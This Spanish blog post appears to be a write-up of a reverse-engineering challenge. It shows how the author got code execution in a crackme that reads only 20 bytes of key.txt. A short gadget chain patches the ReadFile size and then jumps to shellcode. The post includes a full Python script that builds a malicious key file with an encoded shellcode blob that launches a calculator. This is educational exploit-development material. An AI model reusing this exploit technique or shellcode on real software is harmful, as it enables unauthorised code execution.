Ola k ase? ejecutas código o k ase?
Llegados a este
punto lo di por solucionado y me olvidé del reto hasta que hace menos de un mes
me encontré en una de esas situaciones que aterrorizan a cualquier informático
del siglo XXI: ¡estar de viaje hospedado en un hotel sin WIFI y con un
ordenador delante! Ya había visto todas las series y papers que tenía en el
ordenador. En ese momento vi solitaria una carpeta con el binario y me dio por
volver a cargarlo en IDA a ver que se me ocurría. ¿Ejecución de código…?
Cuando estuve
haciendo el reto ya se me ocurrió esa idea pero la descarté ya que el binario
solo leía 20 bytes (14h) de todo el fichero y eso no es suficiente como para
cargar una shellcode (por muy pequeña que sea) y saltar a ella. Sin embargo ese
día sin internet tenía tiempo para darle a la pelota a ver que salía, y algo
salió.
Se me ocurrió que
podía escribir yo mismo el código ASM necesario para releer el fichero “key.txt” entero y por tanto ya tener la
shellcode en memoria a la que más tarde saltaría. Sin embargo solo tenía 16
bytes (20 menos los 4 necesarios para indicar a donde queremos hacer el salto)
y era imposible en tan poco espacio. Incluso intentando rescatar valores de la
pila o de los registros para hacer que ocupase lo menos posible (evitando un MOV
EAX, 11223344 que ocupa 5 bytes y usar instrucciones que solo sean un opcode
como PUSH EAX). Imposible…
Finalmente, tras
estar cerca de rendirme, le volví a echar un ojo al código y… se me ocurrió una
forma de conseguirlo. Podría hacer una ROP chain que se encargase de modificar
en memoria y en tiempo de ejecución la zona donde se encuentra ese 14h por otro
valor más grande, es decir utilizar el propio código de ReadFile que tiene el
programa pero habiendo modificado el número de valores que la función va a
leer. Al fin y al cabo, ¡para qué escribir mi código y gastar valiosos bytes si
el propio código tiene lo que necesito!
A la izquierda
tenemos el código ensamblado generado por el compilador mientras que a la
derecha tenemos el principio de la ROP chain a la que se accede tras hacer el
CALL EAX. Podemos ver que he usado EDI como referencia tanto para saber a qué
dirección saltar después de parchear el número de bytes a leer como para saber qué
dirección exacta saltar. No voy a entrar en detalles con los datos ya que son
puras matemáticas en función del tamaño en opcodes de cada instrucción. Al
utilizar EDI (que es el valor del RET) como referencia, he conseguido ahorrar
mucho tamaño a la ROP chain e incluso me han sobrado algunos bytes.
Tras ejecutar ese
cacho de código podemos ver que en efecto el flujo vuelve al primer PUSH de la
función ReadFile y que el tamaño a leer ha cambiado:
Después del CALL a la función ReadFile
ya tenemos toda la shellcode en memoria. Solo falta saltar a ella. Si echamos
un ojo a la memoria podremos ver que solo se carga el contenido del fichero
“key.txt” que no se había cargado anteriormente. Esto nos viene perfecto ya que
simplemente debemos volver a hacer matemáticas con el valor “7A40B660”
harcodeado para saltar de nuevo a nuestro propio código del fichero “key.txt”
(esta vez 529 bytes (211h)).
Como vimos
anteriormente, nuestro fichero se carga en la dirección de memoria 4040E4. Si
le sumamos los 4 bytes que se usan para hacer
las “mates” con el valor harcodeado nos queda 4040E8 y por tanto como
vimos antes:
7A40B660 + X =
4040E8 => X = 85FF8A88 (888AFF85 en
Little Endian).
Lo añadimos a
nuestro ROP chain y ¡listo! Ya tenemos lo necesario para saltar a nuestra
shellcode. Yo he creado un “key.txt” con una shellcode que ejecuta una
calculadora. Corremos el programa y:
Aquí os dejo el
código en python que usé para generar el archivo “key.txt” malicioso que
ejecutará la shellcode que le indiquemos:
exploit=open("key.txt","w+")
shellcode=("\xdb\xc2\xb8\x68\x84\x96\x3c\xd9\x74\x24\xf4\x5b\x33\xc9\xb1"
"\x33\x31\x43\x17\x83\xeb\xfc\x03\x2b\x97\x74\xc9\x57\x7f\xf1"
"\x32\xa7\x80\x62\xba\x42\xb1\xb0\xd8\x07\xe0\x04\xaa\x45\x09"
"\xee\xfe\x7d\x9a\x82\xd6\x72\x2b\x28\x01\xbd\xac\x9c\x8d\x11"
"\x6e\xbe\x71\x6b\xa3\x60\x4b\xa4\xb6\x61\x8c\xd8\x39\x33\x45"
"\x97\xe8\xa4\xe2\xe5\x30\xc4\x24\x62\x08\xbe\x41\xb4\xfd\x74"
"\x4b\xe4\xae\x03\x03\x1c\xc4\x4c\xb4\x1d\x09\x8f\x88\x54\x26"
"\x64\x7a\x67\xee\xb4\x83\x56\xce\x1b\xba\x57\xc3\x62\xfa\x5f"
"\x3c\x11\xf0\x9c\xc1\x22\xc3\xdf\x1d\xa6\xd6\x47\xd5\x10\x33"
"\x76\x3a\xc6\xb0\x74\xf7\x8c\x9f\x98\x06\x40\x94\xa4\x83\x67"
"\x7b\x2d\xd7\x43\x5f\x76\x83\xea\xc6\xd2\x62\x12\x18\xba\xdb"
"\xb6\x52\x28\x0f\xc0\x38\x26\xce\x40\x47\x0f\xd0\x5a\x48\x3f"
"\xb9\x6b\xc3\xd0\xbe\x73\x06\x95\x31\x3e\x0b\xbf\xd9\xe7\xd9"
"\x82\x87\x17\x34\xc0\xb1\x9b\xbd\xb8\x45\x83\xb7\xbd\x02\x03"
"\x2b\xcf\x1b\xe6\x4b\x7c\x1b\x23\x28\xe3\x8f\xaf\x81\x86\x37"
"\x55\xde")
ROP="\x88"+"\x8a"+"\xff"+"\x85"#address
to Jump
ROP+="\x5f"#POP
EDI
ROP+="\x83"+"\xef"+"\x22"#SUB
EDI,22h
ROP+="\x66"+"\xc7"+"\x47"+"\x0b"+"\x11"+"\x02"#MOV
word ptr [EDI+0Bh], 211h =529bytes for the shellcode
ROP+="\xff"+"\xe7"#JMP
EDI
ROP+="\x90"*4
ROP+="\x9c"+"\x8a"+"\xff"+"\x85"#address
to Jump to the shellcode
ROP+="\x90"*50 # NOP junk. Happy Hour!
exploit.write(ROP+shellcode)
print
"[+] Evil Key File generated"
exploit.close()
En el siguiente enlace podéis acceder al writeup completo en formato PDF: http://goo.gl/YQ0ts9
Agradecimientos
Quiero dar las gracias a los "juankers y en especial a Francisco Oca (@francisco_oca). Sus
consejos y tips sobre reversing son
siempre muy apreciados.
0 comments :
Publicar un comentario